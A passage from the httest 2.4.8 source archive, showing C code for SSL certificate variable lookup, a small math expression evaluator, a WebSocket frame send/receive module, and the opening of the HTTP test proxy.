0); result = apr_pstrdup(p, cp); OPENSSL_free(cp); } else if (strlen(var) > 5 && strcEQn(var, "S_DN_", 5)) { xsname = X509_get_subject_name(xs); result = ssl_var_lookup_ssl_cert_dn(p, xsname, var+5); } else if (strcEQ(var, "I_DN")) { xsname = X509_get_issuer_name(xs); cp = X509_NAME_oneline(xsname, NULL, 0); result = apr_pstrdup(p, cp); OPENSSL_free(cp); } else if (strlen(var) > 5 && strcEQn(var, "I_DN_", 5)) { xsname = X509_get_issuer_name(xs); result = ssl_var_lookup_ssl_cert_dn(p, xsname, var+5); } else if (strcEQ(var, "A_SIG")) { nid = OBJ_obj2nid((ASN1_OBJECT *)X509_get_signature_algorithm(xs)); result = apr_pstrdup(p, (nid == NID_undef) ? "UNKNOWN" : OBJ_nid2ln(nid)); } else if (strcEQ(var, "A_KEY")) { nid = OBJ_obj2nid((ASN1_OBJECT *)X509_get_key_algorithm(xs)); result = apr_pstrdup(p, (nid == NID_undef) ? "UNKNOWN" : OBJ_nid2ln(nid)); } else if (strcEQ(var, "CERT")) { result = ssl_var_lookup_ssl_cert_PEM(p, xs); } result = apr_pstrdup(p, result); return result; } /* In this table, .extract is non-zero if RDNs using the NID should be * extracted to for the SSL_{CLIENT,SERVER}_{I,S}_DN_* environment * variables. */ static const struct { char *name; int nid; int extract; } ssl_var_lookup_ssl_cert_dn_rec[] = { { "C", NID_countryName, 1 }, { "ST", NID_stateOrProvinceName, 1 }, /* officially (RFC2156) */ { "SP", NID_stateOrProvinceName, 0 }, /* compatibility (SSLeay) */ { "L", NID_localityName, 1 }, { "O", NID_organizationName, 1 }, { "OU", NID_organizationalUnitName, 1 }, { "CN", NID_commonName, 1 }, { "T", NID_title, 1 }, { "I", NID_initials, 1 }, { "G", NID_givenName, 1 }, { "S", NID_surname, 1 }, { "D", NID_description, 1 }, #ifdef NID_userId { "UID", NID_x500UniqueIdentifier, 1 }, #endif { "Email", NID_pkcs9_emailAddress, 1 }, { NULL, 0, 0 } }; static char *ssl_var_lookup_ssl_cert_dn(apr_pool_t *p, X509_NAME *xsname, const char *var) { char *result, *ptr; X509_NAME_ENTRY *xsne; int i, j, n, idx = 0; apr_size_t varlen; /* if an _N suffix is used, find the Nth attribute of given name */ ptr = strchr(var, '_'); if (ptr != NULL && strspn(ptr + 1, "0123456789") == strlen(ptr + 1)) { idx = atoi(ptr + 1); varlen = ptr - var; } else { varlen = strlen(var); } result = NULL; for (i = 0; ssl_var_lookup_ssl_cert_dn_rec[i].name != NULL; i++) { if (strEQn(var, ssl_var_lookup_ssl_cert_dn_rec[i].name, varlen) && strlen(ssl_var_lookup_ssl_cert_dn_rec[i].name) == varlen) { for (j = 0; j < sk_X509_NAME_ENTRY_num((STACK_OF(X509_NAME_ENTRY) *) X509_NAME_get_entries(xsname)); j++) { xsne = sk_X509_NAME_ENTRY_value((STACK_OF(X509_NAME_ENTRY) *) X509_NAME_get_entries(xsname), j); n =OBJ_obj2nid((ASN1_OBJECT *)X509_NAME_ENTRY_get_object(xsne)); if (n == ssl_var_lookup_ssl_cert_dn_rec[i].nid && idx-- == 0) { unsigned char *data = X509_NAME_ENTRY_get_data_ptr(xsne); /* cast needed from unsigned char to char */ result = apr_pstrmemdup(p, (char *)data, X509_NAME_ENTRY_get_data_len(xsne)); #if APR_CHARSET_EBCDIC ap_xlate_proto_from_ascii(result, X509_NAME_ENTRY_get_data_len(xsne)); #endif /* APR_CHARSET_EBCDIC */ break; } } break; } } return result; } static char *ssl_var_lookup_ssl_cert_valid(apr_pool_t *p, ASN1_UTCTIME *tm) { char *result; BIO* bio; int n; if ((bio = BIO_new(BIO_s_mem())) == NULL) return NULL; ASN1_UTCTIME_print(bio, tm); n = BIO_pending(bio); result = apr_pcalloc(p, n+1); n = BIO_read(bio, result, n); result[n] = NUL; BIO_free(bio); return result; } #define DIGIT2NUM(x) (((x)[0] - '0') * 10 + (x)[1] - '0') /* Return a string giving the number of days remaining until 'tm', or * "0" if this can't be determined. */ static char *ssl_var_lookup_ssl_cert_remain(apr_pool_t *p, ASN1_UTCTIME *tm) { apr_time_t then, now = apr_time_now(); apr_time_exp_t exp = {0}; long diff; /* Fail if the time isn't a valid ASN.1 UTCTIME; RFC3280 mandates * that the seconds digits are present even though ASN.1 * doesn't. */ if (tm->length < 11 || !ASN1_UTCTIME_check(tm)) { return apr_pstrdup(p, "0"); } exp.tm_year = DIGIT2NUM(tm->data); exp.tm_mon = DIGIT2NUM(tm->data + 2) - 1; exp.tm_mday = DIGIT2NUM(tm->data + 4) + 1; exp.tm_hour = DIGIT2NUM(tm->data + 6); exp.tm_min = DIGIT2NUM(tm->data + 8); exp.tm_sec = DIGIT2NUM(tm->data + 10); if (exp.tm_year <= 50) exp.tm_year += 100; if (apr_time_exp_gmt_get(&then, &exp) != APR_SUCCESS) { return apr_pstrdup(p, "0"); } diff = (long)((apr_time_sec(then) - apr_time_sec(now)) / (60*60*24)); return diff > 0 ? apr_ltoa(p, diff) : apr_pstrdup(p, "0"); } static char *ssl_var_lookup_ssl_cert_serial(apr_pool_t *p, X509 *xs) { char *result; BIO *bio; int n; if ((bio = BIO_new(BIO_s_mem())) == NULL) return NULL; i2a_ASN1_INTEGER(bio, X509_get_serialNumber(xs)); n = BIO_pending(bio); result = apr_pcalloc(p, n+1); n = BIO_read(bio, result, n); result[n] = NUL; BIO_free(bio); return result; } static char *ssl_var_lookup_ssl_cert_PEM(apr_pool_t *p, X509 *xs) { char *result; BIO *bio; int n; if ((bio = BIO_new(BIO_s_mem())) == NULL) return NULL; PEM_write_bio_X509(bio, xs); n = BIO_pending(bio); result = apr_pcalloc(p, n+1); n = BIO_read(bio, result, n); result[n] = NUL; BIO_free(bio); return result; } /* Add each RDN in 'xn' to the table 't' where the NID is present in * 'nids', using key prefix 'pfx'. */ static void extract_dn(apr_table_t *t, apr_hash_t *nids, const char *pfx, X509_NAME *xn, apr_pool_t *p) { STACK_OF(X509_NAME_ENTRY) *ents = X509_NAME_get_entries(xn); X509_NAME_ENTRY *xsne; apr_hash_t *count; int i, nid; /* Hash of (int) NID -> (int *) counter to count each time an RDN * with the given NID has been seen. */ count = apr_hash_make(p); /* For each RDN... */ for (i = 0; i < sk_X509_NAME_ENTRY_num(ents); i++) { const char *tag; xsne = sk_X509_NAME_ENTRY_value(ents, i); /* Retrieve the nid, and check whether this is one of the nids * which are to be extracted. */ nid = OBJ_obj2nid((ASN1_OBJECT *)X509_NAME_ENTRY_get_object(xsne)); tag = apr_hash_get(nids, &nid, sizeof nid); if (tag) { unsigned char *data = X509_NAME_ENTRY_get_data_ptr(xsne); const char *key; int *dup; char *value; /* Check whether a variable with this nid was already * been used; if so, use the foo_N=bar syntax. */ dup = apr_hash_get(count, &nid, sizeof nid); if (dup) { key = apr_psprintf(p, "%s%s_%d", pfx, tag, ++(*dup)); } else { /* Otherwise, use the plain foo=bar syntax. */ dup = apr_pcalloc(p, sizeof *dup); apr_hash_set(count, &nid, sizeof nid, dup); key = apr_pstrcat(p, pfx, tag, NULL); } /* cast needed from 'unsigned char *' to 'char *' */ value = apr_pstrmemdup(p, (char *)data, X509_NAME_ENTRY_get_data_len(xsne)); #if APR_CHARSET_EBCDIC ap_xlate_proto_from_ascii(value, X509_NAME_ENTRY_get_data_len(xsne)); #endif /* APR_CHARSET_EBCDIC */ apr_table_setn(t, key, value); } } } void modssl_var_extract_dns(apr_table_t *t, SSL *ssl, apr_pool_t *p) { apr_hash_t *nids; unsigned n; X509 *xs; /* Build up a hash table of (int *)NID->(char *)short-name for all * the tags which are to be extracted: */ nids = apr_hash_make(p); for (n = 0; ssl_var_lookup_ssl_cert_dn_rec[n].name; n++) { if (ssl_var_lookup_ssl_cert_dn_rec[n].extract) { apr_hash_set(nids, &ssl_var_lookup_ssl_cert_dn_rec[n].nid, sizeof(ssl_var_lookup_ssl_cert_dn_rec[0].nid), ssl_var_lookup_ssl_cert_dn_rec[n].name); } } /* Extract the server cert DNS -- note that the refcount does NOT * increase: */ xs = SSL_get_certificate(ssl); if (xs) { extract_dn(t, nids, "SSL_SERVER_S_DN_", X509_get_subject_name(xs), p); extract_dn(t, nids, "SSL_SERVER_I_DN_", X509_get_issuer_name(xs), p); } /* Extract the client cert DNs -- note that the refcount DOES * increase: */ xs = SSL_get_peer_certificate(ssl); if (xs) { extract_dn(t, nids, "SSL_CLIENT_S_DN_", X509_get_subject_name(xs), p); extract_dn(t, nids, "SSL_CLIENT_I_DN_", X509_get_issuer_name(xs), p); X509_free(xs); } } /** * verify callback for peer cert verification for debugging purpose * @param cur_ok IN current ok state * @param ctx IN X509 store context */ int debug_verify_callback(int cur_ok, X509_STORE_CTX *ctx) { char buf[256]; X509 *err_cert; int err, depth; err_cert = X509_STORE_CTX_get_current_cert(ctx); err = X509_STORE_CTX_get_error(ctx); depth = X509_STORE_CTX_get_error_depth(ctx); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, 256); fprintf(stdout, "\nverify error:num=%d:%s:depth=%d:%s", err, X509_verify_cert_error_string(err), depth, buf); return cur_ok; } /** * verify callback to skip peer cert verification, want always the peer cert * @param cur_ok IN current ok state * @param ctx IN X509 store context */ int skip_verify_callback(int cur_ok, X509_STORE_CTX *ctx) { X509 *err_cert = X509_STORE_CTX_get_current_cert(ctx); if (!err_cert) { return 0; } else { return 1; } } #endif #endif httest-2.4.8/src/eval.c0000664000175100017510000003050612141535454011657 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * REMARK * Original Copyright 1991 by Bob Stout as part of * the MicroFirm Function Library (MFL) * * This subset* version is hereby donated to the public domain. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool math module * * infix notation * !(4 + 5 * 8 * (4 + 1) / 5 < 6) * * stack interpreter postfix notation => * * => result is 1 * * EBNF Description * equalit = expression ["==" | "!=" | ">" | ">=" | "<" | "<=" expression]; * expression = term {"+" term}; * term = factor {"*" factor}; * factor = constant | "(" expression ")"; * constant = digit {digit}; * digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"; * */ /************************************************************************ * Includes ***********************************************************************/ #include #include #include #include #include /* Use STACK from openssl to sort commands */ #include #include #include #include #include "eval.h" /************************************************************************ * Definitions ***********************************************************************/ enum { MATH_NONE = 0, MATH_ADD, MATH_SUB, MATH_MUL, MATH_DIV, MATH_MOD, MATH_POWER, MATH_NOT, MATH_EQ, MATH_NE, MATH_BT, MATH_BE, MATH_LT, MATH_LE, MATH_PARENT_L, MATH_PARENT_R, MATH_NUM, MATH_EOF, MATH_ERR } math_token_e; struct math_eval_s { apr_pool_t *pool; const char *delimiter; STACK_OF(long) *stack; const char *line; apr_size_t i; apr_size_t len; int last_number; int cur_token; }; static apr_status_t math_parse_expression(math_eval_t *hook); static apr_status_t math_parse_term(math_eval_t *hook); static apr_status_t math_parse_factor(math_eval_t *hook); /************************************************************************ * Globals ***********************************************************************/ /************************************************************************ * Local ***********************************************************************/ /** * skip spaces * @param hook IN eval instance */ static void math_skip_space(math_eval_t *hook) { for (; hook->i < hook->len && hook->line[hook->i] == ' '; hook->i++); } /** * get next char and increase read pointer. * @param hook IN eval instance * @return char or \0 if end of line */ static char math_next_char(math_eval_t *hook) { if (hook->i < hook->len) { return hook->line[hook->i++]; } else { return '\0'; } } /** * look a head on char but do not increase read pointer. * @param hook IN eval instance * @return lookahead char or \0 if end of line */ static char math_peek_char(math_eval_t *hook) { if (hook->i < hook->len) { return hook->line[hook->i]; } else { return '\0'; } } /** * look a head on char but do not increase read pointer. * @param hook IN eval instance * @return lookahead char or \0 if end of line */ static char math_lookahead(math_eval_t *hook) { if (hook->i < hook->len) { return hook->line[hook->i+1]; } else { return '\0'; } } /** * Get number from given possition * @param hook IN eval instance */ static void math_get_number(math_eval_t *hook) { const char *number; apr_size_t start = hook->i; while (apr_isdigit(math_peek_char(hook))) math_next_char(hook); number = apr_pstrndup(hook->pool, &hook->line[start], hook->i - start); hook->last_number = apr_atoi64(number); } /** * get next token from line * @param hook IN eval instance * @return token */ static int math_get_next_token(math_eval_t *hook) { char c; math_skip_space(hook); while ((c = math_peek_char(hook))) { switch (c) { case '=': if (math_lookahead(hook) == '=') { math_next_char(hook); math_next_char(hook); return MATH_EQ; } else { return MATH_ERR; } break; case '<': if (math_lookahead(hook) == '=') { math_next_char(hook); math_next_char(hook); return MATH_LE; } else { math_next_char(hook); return MATH_LT; } break; case '>': if (math_lookahead(hook) == '=') { math_next_char(hook); math_next_char(hook); return MATH_BE; } else { math_next_char(hook); return MATH_BT; } break; case '!': math_next_char(hook); if (math_lookahead(hook) == '=') { math_next_char(hook); return MATH_NE; } else { return MATH_NOT; } break; case '+': math_next_char(hook); return MATH_ADD; break; case '-': math_next_char(hook); return MATH_SUB; break; case '*': math_next_char(hook); return MATH_MUL; break; case '/': math_next_char(hook); return MATH_DIV; break; case '%': math_next_char(hook); return MATH_MOD; break; case '^': math_next_char(hook); return MATH_POWER; break; case '(': math_next_char(hook); return MATH_PARENT_L; break; case ')': math_next_char(hook); return MATH_PARENT_R; break; default: if (apr_isdigit(c)) { math_get_number(hook); return MATH_NUM; } else { return MATH_ERR; } break; } } return MATH_EOF; } /** * get next token from line and store it for peek. * @param hook IN math instance * @return token */ static int math_get_token(math_eval_t *hook) { hook->cur_token = math_get_next_token(hook); return hook->cur_token; } /** * peek current token if any else get first token. * @param hook IN math instance * @return token */ static int math_peek_token(math_eval_t *hook) { if (hook->cur_token) { return hook->cur_token; } else { math_get_token(hook); return hook->cur_token; } } /** * factor = constant | "(" expression ")"; * @param hook IN math object * return APR_SUCCESS or APR_EINVAL */ static apr_status_t math_parse_factor(math_eval_t *hook) { apr_status_t status; int token; long *number; long sign = 1; token = math_peek_token(hook); switch (token) { case MATH_ADD: /* skip this, positiv number are positve :) */ math_get_token(hook); case MATH_SUB: /* store sign */ sign = -1; math_get_token(hook); case MATH_NUM: number = apr_pcalloc(hook->pool, sizeof(*number)); *number = hook->last_number * sign; SKM_sk_push(long, hook->stack, number); math_get_token(hook); return APR_SUCCESS; break; case MATH_PARENT_L: token = math_get_token(hook); status = math_parse_expression(hook); token = math_peek_token(hook); if (token != MATH_PARENT_R) { return APR_EINVAL; } token = math_get_token(hook); return status; break; default: return APR_EINVAL; break; } } /** * term = factor { "*"|"/" factor } * @param hook IN math object * return APR_SUCCESS or APR_EINVAL */ static apr_status_t math_parse_term(math_eval_t *hook) { int token; apr_status_t status; long *right; long *left; long *result; if ((status = math_parse_factor(hook)) != APR_SUCCESS) { return status; } token = math_peek_token(hook); while (token != MATH_EOF) { if (token == MATH_MUL || token == MATH_DIV || token == MATH_POWER || token == MATH_MOD) { math_get_token(hook); } else { return APR_SUCCESS; } if ((status = math_parse_factor(hook)) != APR_SUCCESS) { return status; } right = SKM_sk_pop(long, hook->stack); left = SKM_sk_pop(long, hook->stack); result = apr_pcalloc(hook->pool, sizeof(*result)); switch (token) { case MATH_MUL: *result = *left * *right; break; case MATH_DIV: *result = *left / *right; break; case MATH_MOD: *result = *left % *right; break; #ifdef LINUX case MATH_POWER: *result = pow(*left, *right); break; #endif default: break; } SKM_sk_push(long, hook->stack, result); token = math_peek_token(hook); } return APR_SUCCESS; } /** * expression = term { "+"|"-" term } * @param hook IN math object * return APR_SUCCESS or APR_EINVAL */ static apr_status_t math_parse_expression(math_eval_t *hook) { int token; apr_status_t status; long *right; long *left; long *result; if ((status = math_parse_term(hook)) != APR_SUCCESS) { return status; } token = math_peek_token(hook); while (token != MATH_EOF) { if (token == MATH_ADD || token == MATH_SUB) { math_get_token(hook); } else { return APR_SUCCESS; } if ((status = math_parse_term(hook)) != APR_SUCCESS) { return status; } right = SKM_sk_pop(long, hook->stack); left = SKM_sk_pop(long, hook->stack); result = apr_pcalloc(hook->pool, sizeof(*result)); switch (token) { case MATH_ADD: *result = *left + *right; break; case MATH_SUB: *result = *left - *right; break; default: break; } SKM_sk_push(long, hook->stack, result); token = math_peek_token(hook); } return APR_SUCCESS; } /** * equalit = expression ["==" | "!=" | ">" | ">=" | "<" | "<=" expression]; * @param hook IN math object * return APR_SUCCESS or APR_EINVAL */ static apr_status_t math_parse_equalit(math_eval_t *hook) { int token; apr_status_t status; long *right; long *left; long *result; if ((status = math_parse_expression(hook)) != APR_SUCCESS) { return status; } token = math_peek_token(hook); if (token != MATH_EOF) { if (token == MATH_EQ || token == MATH_NE || token == MATH_BT || token == MATH_BE || token == MATH_LT || token == MATH_LE) { math_get_token(hook); } else { return APR_SUCCESS; } if ((status = math_parse_expression(hook)) != APR_SUCCESS) { return status; } right = SKM_sk_pop(long, hook->stack); left = SKM_sk_pop(long, hook->stack); result = apr_pcalloc(hook->pool, sizeof(*result)); switch (token) { case MATH_EQ: *result = *left == *right; break; case MATH_NE: *result = *left != *right; break; case MATH_BT: *result = *left > *right; break; case MATH_BE: *result = *left >= *right; break; case MATH_LT: *result = *left < *right; break; case MATH_LE: *result = *left <= *right; break; default: break; } SKM_sk_push(long, hook->stack, result); } return APR_SUCCESS; } /** * Parse expression line * @param hook IN eval instance * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t math_parse(math_eval_t * hook, long *val) { long *result; apr_status_t status = math_parse_equalit(hook); result = SKM_sk_pop(long, hook->stack); *val = *result; return status; } /************************************************************************ * public interface ***********************************************************************/ /** * Create new instance of evaluator * @param pool IN pool * @return eval instance */ math_eval_t *math_eval_make(apr_pool_t * pool) { math_eval_t *hook = apr_pcalloc(pool, sizeof(*hook)); hook->pool = pool; hook->stack = SKM_sk_new_null(long); hook->delimiter = apr_pstrdup(pool, "+-*/=<>!()"); return hook; } /** * Evaluate math expression * @param hook IN eval instance * @param line IN line to parse * @param val OUT result * @return APR_SUCCESS or APR_EINVAL */ apr_status_t math_evaluate(math_eval_t * hook, const char *line, long *val) { apr_status_t status; hook->line = line; hook->len = strlen(line); hook->i = 0; hook->last_number = 0; hook->cur_token = 0; if ((status = math_parse(hook, val)) != APR_SUCCESS) { return status; } /* get result from stack */ return APR_SUCCESS; } httest-2.4.8/src/websocket_module.c0000664000175100017510000003105112205142236014250 00000000000000/** * Copyright 2011 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Tool Websocket Extention */ /************************************************************************ * Includes ***********************************************************************/ #include "module.h" /************************************************************************ * Definitions ***********************************************************************/ #define WS_8_TYPE_CONTINUE 0x0 #define WS_8_TYPE_TEXT 0x1 #define WS_8_TYPE_BINARY 0x2 #define WS_8_TYPE_CLOSE 0x8 #define WS_8_TYPE_PING 0x9 #define WS_8_TYPE_PONG 0xA const char * ws_module = "ws_module"; typedef struct ws_socket_config_s { int version; } ws_socket_config_t; /************************************************************************ * Private ***********************************************************************/ /** * GET ssl socket config from socket * @param worker IN worker * @return socket config */ static ws_socket_config_t *ws_get_socket_config(worker_t *worker) { ws_socket_config_t *config; if (!worker || !worker->socket) { return NULL; } config = module_get_config(worker->socket->config, ws_module); if (config == NULL) { config = apr_pcalloc(worker->pbody, sizeof(*config)); module_set_config(worker->socket->config, apr_pstrdup(worker->pbody, ws_module), config); } return config; } /************************************************************************ * Commands ***********************************************************************/ /** * Recevie websocket frames * @param worker IN callee * @param parent IN caller * @param ptmp IN temp pool * @return apr status */ static apr_status_t block_WS_VERSION(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { ws_socket_config_t *sconf = ws_get_socket_config(worker); sconf->version = 13; return APR_SUCCESS; } /** * Recevie websocket frames * @param worker IN callee * @param parent IN caller * @param ptmp IN temp pool * @return apr status */ static apr_status_t block_WS_RECV(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; apr_size_t len; int masked; uint8_t op; uint8_t pl_len; uint32_t mask = 0x0; uint64_t payload_len = 0; char *type; char *payload; const char *type_param = store_get(worker->params, "1"); const char *len_param = store_get(worker->params, "2"); if (!worker->socket->sockreader) { worker_log(worker, LOG_ERR, "Websockets need a open HTTP stream, use _SOCKET"); return APR_ENOSOCKET; } len = 1; if ((status = sockreader_read_block(worker->socket->sockreader, (char *)&op, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read first frame byte"); goto exit; } worker_log(worker, LOG_DEBUG, "Got opcode 0x%X", op); type = NULL; if ((op >> 7) & 1) { type = apr_pstrcat(ptmp, "FIN", type?",":NULL, type, NULL); } switch (op &0xf) { case WS_8_TYPE_CONTINUE: type = apr_pstrcat(ptmp, "CONTINUE", type?",":NULL, type, NULL); break; case WS_8_TYPE_TEXT: type = apr_pstrcat(ptmp, "TEXT", type?",":NULL, type, NULL); break; case WS_8_TYPE_BINARY: type = apr_pstrcat(ptmp, "BINARY", type?",":NULL, type, NULL); break; case WS_8_TYPE_CLOSE: type = apr_pstrcat(ptmp, "CLOSE", type?",":NULL, type, NULL); break; case WS_8_TYPE_PING: type = apr_pstrcat(ptmp, "PING", type?",":NULL, type, NULL); break; case WS_8_TYPE_PONG: type = apr_pstrcat(ptmp, "PONG", type?",":NULL, type, NULL); break; } len = 1; if ((status = sockreader_read_block(worker->socket->sockreader, (char *)&pl_len, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read first frame byte"); goto exit; } worker_log(worker, LOG_DEBUG, "Got first len byte %x", pl_len); masked = (pl_len & 0x80); if (masked) { type = apr_pstrcat(ptmp, "MASKED", type?",":NULL, type, NULL); } worker_log(worker, LOG_DEBUG, "Opcode: %s", type); if (type_param) { worker_var_set(worker, type_param, type?type:""); } pl_len = pl_len & 0x7f; #if APR_IS_BIGENDIAN worker_log(worker, LOG_DEBUG, "bigendian", type); #else worker_log(worker, LOG_DEBUG, "littlendian", type); #endif if (pl_len == 126) { uint16_t length; worker_log(worker, LOG_DEBUG, "payload uint16 read 2 length bytes", type); len = 2; if ((status = sockreader_read_block(worker->socket->sockreader, (char *)&length, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read 16 bit payload length"); goto exit; } #if APR_IS_BIGENDIAN payload_len = length; #else payload_len = swap16(length); #endif } else if (pl_len == 127) { uint64_t length; worker_log(worker, LOG_DEBUG, "payload uint64 read 4 length bytes", type); len = 8; if ((status = sockreader_read_block(worker->socket->sockreader, (char *)&length, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read 32 bit payload length"); goto exit; } #if APR_IS_BIGENDIAN payload_len = length; #else payload_len = swap64(length); #endif } else { worker_log(worker, LOG_DEBUG, "payload uint8", type); payload_len = pl_len; } if (masked) { len = 4; if ((status = sockreader_read_block(worker->socket->sockreader, (char *)&mask, &len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read mask"); goto exit; } } if (len_param) { worker_var_set(worker, len_param, apr_itoa(ptmp, payload_len)); } worker_log(worker, LOG_DEBUG, "Payload-Length: %ld", payload_len); payload = apr_pcalloc(worker->pbody, payload_len + 1); len = payload_len; status = sockreader_read_block(worker->socket->sockreader, payload, &len); worker_log(worker, LOG_DEBUG, "Got: %ld bytes; Status: %d", payload_len, status); if (status != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not read payload"); goto exit; } if (masked) { int i, j; for (i = 0; i < payload_len; i++) { j = i % 4; payload[i] ^= ((uint8_t *)&mask)[j]; } } exit: { apr_status_t hndl_buf_status; hndl_buf_status = worker_handle_buf(worker, ptmp, payload, payload_len); if (hndl_buf_status != APR_SUCCESS) { worker_log(worker, LOG_ERR, "inspect payload failed"); return status; } status = worker_assert(worker, status); return status; } } /** * Send websocket frames * @param worker IN callee * @param parent IN caller * @param ptmp IN temp pool * @return apr status */ static apr_status_t block_WS_SEND(worker_t *worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; char *last; char *e; char *op_param = store_get_copy(worker->params, ptmp, "1"); const char *payload_len = store_get(worker->params, "2"); char *payload = store_get_copy(worker->params, ptmp, "3"); const char *mask_str = store_get(worker->params, "4"); uint8_t op = 0; uint8_t pl_len_8 = 0; uint16_t pl_len_16 = 0; uint64_t pl_len_64 = 0; uint64_t len; if (!worker->socket || !worker->socket->transport) { worker_log(worker, LOG_ERR, "No established socket for websocket protocol"); return APR_ENOSOCKET; } worker_log(worker, LOG_DEBUG, "payload: \"%s\"", payload); e = apr_strtok(op_param, ",", &last); while (e) { if (strcmp(e, "FIN") == 0) { op |= 1 << 7; } else if (strcmp(e, "CONTINUE") == 0) { op |= WS_8_TYPE_CONTINUE; } else if (strcmp(e, "TEXT") == 0) { op |= WS_8_TYPE_TEXT; } else if (strcmp(e, "BINARY") == 0) { op |= WS_8_TYPE_BINARY; } else if (strcmp(e, "CLOSE") == 0) { op |= WS_8_TYPE_CLOSE; } else if (strcmp(e, "PING") == 0) { op |= WS_8_TYPE_PING; } else if (strcmp(e, "PONG") == 0) { op |= WS_8_TYPE_PONG; } e = apr_strtok(NULL, ",", &last); } worker_log(worker, LOG_DEBUG, "Send opcod 0x%X", op); if (strcmp(payload_len, "AUTO") == 0) { if (payload) { len = strlen(payload); } else { len = 0; } } else { len = apr_atoi64(payload_len); } worker_log(worker, LOG_DEBUG, "Payload length: %ld", len); if (len < 126) { pl_len_8 = len; } else if (len <= 0xFFFF) { uint16_t tmp; pl_len_8 = 126; tmp = len; #if APR_IS_BIGENDIAN pl_len_16 = tmp; #else pl_len_16 = swap16(tmp); #endif } else { uint64_t tmp; pl_len_8 = 127; tmp = len; #if APR_IS_BIGENDIAN pl_len_64 = tmp; #else pl_len_64 = swap64(tmp); #endif } pl_len_8 = pl_len_8; worker_log(worker, LOG_DEBUG, "pl_len: %0x", pl_len_8); if (mask_str) { pl_len_8 |= 0x80; } worker_log(worker, LOG_DEBUG, "pl_len_8: %0x, pl_len_16: %ld, pl_len_64: %ld", pl_len_8, pl_len_16, pl_len_64); if ((status = transport_write(worker->socket->transport, (const char *)&op, 1)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send Opcode"); return status; } if ((status = transport_write(worker->socket->transport, (const char *)&pl_len_8, 1)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send first len byte"); return status; } if (pl_len_16) { if ((status = transport_write(worker->socket->transport, (const char *)&pl_len_16, 2)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send 16 bit len bytes"); return status; } } if (pl_len_64) { if ((status = transport_write(worker->socket->transport, (const char *)&pl_len_64, 8)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send 64 bit len bytes"); return status; } } if (mask_str) { uint32_t mask = apr_strtoi64(mask_str, NULL, 0); int i, j; for (i = 0; i < len; i++) { j = i % 4; payload[i] ^= ((uint8_t *)&mask)[j]; } if ((status = transport_write(worker->socket->transport, (const char *)&mask, 4)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send mask bytes"); return status; } } if ((status = transport_write(worker->socket->transport, payload, len)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "Could not send payload"); return status; } logger_log_buf(worker->logger, LOG_INFO, '>', payload, len); return APR_SUCCESS; } /************************************************************************ * Module ***********************************************************************/ apr_status_t websocket_module_init(global_t *global) { apr_status_t status; if ((status = module_command_new(global, "WS", "_RECV", "", "Receive websocket frames", block_WS_RECV)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "WS", "_SEND", " ", "Send websocket frames\n" " : can be one or more of the following keywords\n" " FIN, CONTINUE, CLOSE, TEXT, BINARY, PING, PONG\n" " there are combinations which will not work, see also RFC\n" " of websockets to get a clue what is possible and what not.\n" " : Length of data or AUTO to do this automaticaly\n" " : Data to be send if spaces the data must be quoted\n" " : Optional 64 Byte number to mask data", block_WS_SEND)) != APR_SUCCESS) { return status; } if ((status = module_command_new(global, "WS", "_VERSION", "", "Set version, for the moment only version 13 is implemented", block_WS_VERSION)) != APR_SUCCESS) { return status; } return APR_SUCCESS; } httest-2.4.8/src/htproxy.c0000664000175100017510000011115212205570300012430 00000000000000/** * Copyright 2006 Christian Liesch * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @file * * @Author christian liesch * * Implementation of the HTTP Test Proxy. */ /* affects include files on Solaris */ #define BSD_COMP /************************************************************************ * Includes ***********************************************************************/ #ifdef HAVE_CONFIG_H #include #endif #include #include #include #include #include #include #include #include #include #include #include #include #include "defines.h" #include "ssl.h" #include "regex.h" #include "file.h" #include "socket.h" #include "worker.h" #include "logger.h" #include "appender_std.h" #include "conf.h" #include "util.h" #include "module.h" /************************************************************************ * Defines ***********************************************************************/ #define BLOCK_MAX 8192 /************************************************************************ * Typedefs ***********************************************************************/ typedef struct self_s { apr_pool_t *pool; apr_file_t *ofp; char *timeout; int port; worker_t *client; char *url_filter; htt_regex_t *url_filter_regex; apr_thread_mutex_t *mutex; char *host_var; char *port_var; char *uri_var; char *host_port_var; char 